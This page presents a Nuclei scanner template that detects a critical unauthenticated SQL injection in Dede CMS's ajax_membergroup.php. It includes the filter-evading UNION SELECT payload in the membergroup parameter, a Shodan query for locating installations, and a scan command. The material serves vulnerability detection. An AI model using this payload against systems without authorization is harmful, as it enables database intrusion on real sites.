Dede CMS - SQL Injection

ID: dedecms-membergroup-sqli

Severity: critical

Author: pikpikcu

Tags: sqli,dedecms

Description

Dede CMS contains a SQL injection vulnerability which allows remote unauthenticated users to inject arbitrary SQL statements via the ajax_membergroup.php endpoint and the membergroup parameter.

YAML Source

id: dedecms-membergroup-sqli

info:
  name: Dede CMS - SQL Injection
  author: pikpikcu
  severity: critical
  description: Dede CMS contains a SQL injection vulnerability which allows remote unauthenticated users to inject arbitrary SQL statements via the ajax_membergroup.php endpoint and the membergroup parameter.
  reference:
    - http://www.dedeyuan.com/xueyuan/wenti/1244.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-89
    cpe: cpe:2.3:a:dedecms:dedecms:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    shodan-query: http.html:"DedeCms"
    product: dedecms
    vendor: dedecms
  tags: sqli,dedecms
variables:
  num: "999999999"

http:
  - method: GET
    path:
      - "{{BaseURL}}/member/ajax_membergroup.php?action=post&membergroup=@`'`/*!50000Union+*/+/*!50000select+*/+md5({{num}})+--+@`'`"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '{{md5({{num}})}}'
        part: body

      - type: status
        status:
          - 200
# digest: 490a0046304402206ed5a047a147f22d4a17a32aca810ed327eff8aed73621c559d1b9ef33c51a23022037fa8d9aa32a6394af1522a6ab3a131ca997783702eec312013fa892c6fbff57:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/dedecms/dedecms-membergroup-sqli.yaml"

View on Github